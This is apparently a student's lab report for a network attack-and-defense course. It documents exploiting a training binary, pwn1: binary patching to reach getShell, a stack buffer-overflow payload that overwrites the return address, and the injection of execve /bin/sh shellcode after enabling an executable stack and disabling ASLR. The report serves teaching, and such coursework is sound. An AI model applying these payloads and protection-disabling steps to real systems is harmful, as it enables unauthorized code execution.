20241905 2024-2025-2 《网络攻防实践》 第9次作业
1. 实验内容
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
2. 实验过程
通过命令hostnamectl set-hostname kongjiayin修改主机名为本人的姓名拼音,再重启系统,即可永久修改名称,从图中可以看到终端中显示的主机名已经被修改

下载实验文件pwn1并通过命令mv pwn1 pwn20241905修改文件名,从下图可以看到,名称已经修改成功

2.1 修改文件改变程序执行流程
1、通过命令objdump -d pwn20241905 | more对可执行文件进行反汇编

2、观察代码,找到main函数,看到如下代码
call 8048491 <foo> # 表示调用地址位于8048491处的foo函数
# 对应的机器指令是“e8 d7ffffff”,其中,e8表示跳转。正常流程,此时EIP的值应该是下条指令的地址,即80484ba,但遇到e8这条指令,CPU就会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba + d7ffffff = 80484ba-0x29,即8048491

3、分析可执行文件,思考如何改变程序执行流程,使其直接跳转到getShell函数
已知main函数调用foo函数,对应的机器指令是e8 d7ffffff,那想要改变程序执行流程,改成调用getShell函数,只要修改d7ffffff使得80484ba + x = getShell函数的地址即可。从图中可以查看到代码中getShell函数的地址为804847d

计算80484ba + x = 804847d中的x的值,可以得到x = 0804847d - 80484ba = ffffffc3,由于机器指令中需要的是补码,所以翻转一下,即为c3ffffff。综合之前的分析,可以得出,将机器指令修改为e8 c3ffffff,即可实现跳转到getShell函数
4、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
通过命令vim pwn20241905打开可执行文件,通过命令:%!xxd以十六进制来显示文件内容,找到000004b0处显示d7的位置,将其改为c3,下图为修改位置

通过命令:%!xxd -r 将十六进制转换为原格式,通过命令:wq保存并退出
5、通过命令objdump -d pwn20241905 | more对可执行文件进行反汇编,查看手工做出的修改,是否使得call指令正确调用了getShell,由图中可以看到,修改成功

6、通过命令./pwn20241905运行修改后的代码,会得到shell提示符,表明已经修改成功,调用了getShell函数

2.2 利用漏洞构造攻击
1、通过命令objdump -d pwn20241905 | more反汇编,了解程序的基本功能。由图中可以看到getShell函数,目标是触发这个函数。在上一个实验的基础上,已经知道该文件正常运行时,main函数会调用foo函数,但foo函数存在Buffer overfolw漏洞,所以可以通过分析foo函数,利用此漏洞构造攻击,使得触发getShell函数。下图是这两个函数

2、分析下面的foo函数
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
# sub指令,给堆栈esp预留了一定大小的空间
8048494: 83 ec 38 sub $0x38,%esp
# lea指令,将携带偏移量0x1c的ebp放到eax
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
# mov指令,将eax放到堆栈esp上
804849a: 89 04 24 mov %eax,(%esp)
# 这里读入字符串,预留了28字节的缓冲区给函数gets@plt
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
分析可以得知,foo函数只预留了28字节的缓冲区,所以超出部分会造成溢出。由于该函数是通过main函数以call指令调用的,所以溢出的部分将会被当作eip寄存器的值
综上,如果能够使得eip中的值变成getShell函数的地址0804847d,就能够覆盖返回地址,触发getShell函数。由于main函数先压入栈的是esp,占4个字节,所以要构造的攻击输入字符串应该在第33-36个字节为0804847d
3、需要确认字节顺序,是输入11112222333344445555666677778888\x08\x04\x84\x7d,还是输入11112222333344445555666677778888\x7d\x84\x04\x08来构造输入字符串。由于无法直接通过键盘输入,所以需要使用Perl,Perl作为一门解释性语言,可以直接在命令行上使用
分别运行下面的命令,生成一个包含getShell首地址的文件,输出到20241905input1文件和20241905input2文件中
perl -e 'print "11112222333344445555666677778888\x08\x04\x84\x7d"' > 20241905input1
perl -e 'print "11112222333344445555666677778888\x7d\x84\x04\x08"' > 20241905input2

4、由于输出文件中有些字符无法显示,所以需要通过管道传递给另一个文件,作为该文件的输入,输入下面的命令进行测试
(cat 20241905input1; cat) | ./pwn20241905
(cat 20241905input2; cat) | ./pwn20241905
可以看到20241905input1出现错误,但是20241905input2成功执行了getShell,因此应该构造的输入攻击字符串为11112222333344445555666677778888\x7d\x84\x04\x08。至此,攻击成功

2.3 注入shellcode并运行
1、通过命令apt-get install execstack安装execstack

2、通过命令execstack -s pwn20241905设置堆栈为可执行状态

3、通过命令execstack -q pwn20241905堆栈是否为可执行状态

4、通过命令more /proc/sys/kernel/randomize_va_space查看地址随机化状态,由图中可以看到为开启状态

5、通过命令echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,再通过命令more /proc/sys/kernel/randomize_va_space查看状态,由图中可以看到已经为关闭状态

6、选择retaddr+nop+shellcode的构造方法来构造shellcode。通过perl来构造输入字符串,用来确定retaddr
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20241905input3

7、通过命令(cat 20241905input3; cat) | ./pwn20241905 将20241905input3设为pwn20241905的输入。通过命令ps -ef | grep pwn20241905查看进程,由图中可以看到进程号为1754

8、通过gdb调试这个进程,通过命令attach 1754对pwn20241905程序进行调试

9、通过命令disassemble foo,查看foo函数的ret指令的地址

10、通过命令break *0x080484ae设置断点

11、在右边的终端输入c,在左边的终端回车,到达断点

12、通过命令info r esp查看esp寄存器的值,由图中可以看到此时esp寄存器的值为0xffffd16c

12、通过命令x/16x 0xffffd16c 查看当前栈顶的值,由图中可以看到为0x01020304,这与之前输入的x4x3x2x1相对应

13、综上可以计算得到retaddr=ffffd16c+00000004=ffffd170。因此可以构造shellcode为
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20241905input4
再通过命令(cat 20241905input4;cat) | ./pwn20241905运行程序,由图中可以看到此时已经调用getShell成功,即攻击成功

3. 学习中遇到的问题及解决
-
问题1:运行pwn文件失败

-
问题1解决方法:通过命令
chmod u+x ./pwn20241905修改一下权限
-
问题2:execstack安装失败

-
问题2解决方法:运行下面的命令重新安装
vim /etc/apt/sources.list # 添加下面的内容 deb http://http.kali.org/kali kali-rolling main contrib non-free deb http://http.kali.org/kali sana main non-free contrib deb http://security.kali.org/kali-security sana/updates main contrib non-free deb http://old.kali.org/kali moto main non-free contrib apt-get update apt-get install execstack
4. 学习感想和体会
这次实验内容操作并不复杂,但是由于对汇编等知识不太了解,在理解每一步操作时花费了很多时间,但也得益于本次实验,我对网络攻防的计算机系统底层机制有了更深的理解。第一个实验中,在分析明白底层代码的逻辑后,只需要修改几个字节,就能够完全改变程序的运行流程。第二个实验则是利用底层代码的缓冲区溢出漏洞,改变了程序的运行流程,对我而言,这启示了我在设计模型时,也需要考虑溢出造成的安全问题。最后,shellcode注入的实验更是让我领略到攻击的魅力,总的来说,本次实验我收获很大。
参考资料
《网络攻防技术与实践》课本和学习通视频
zsh: permission denied问题的解决办法-CSDN博客
Kali Linux E:Unable to locate package 完美解决!_kali unable to locate package-CSDN博客

浙公网安备 33010602011771号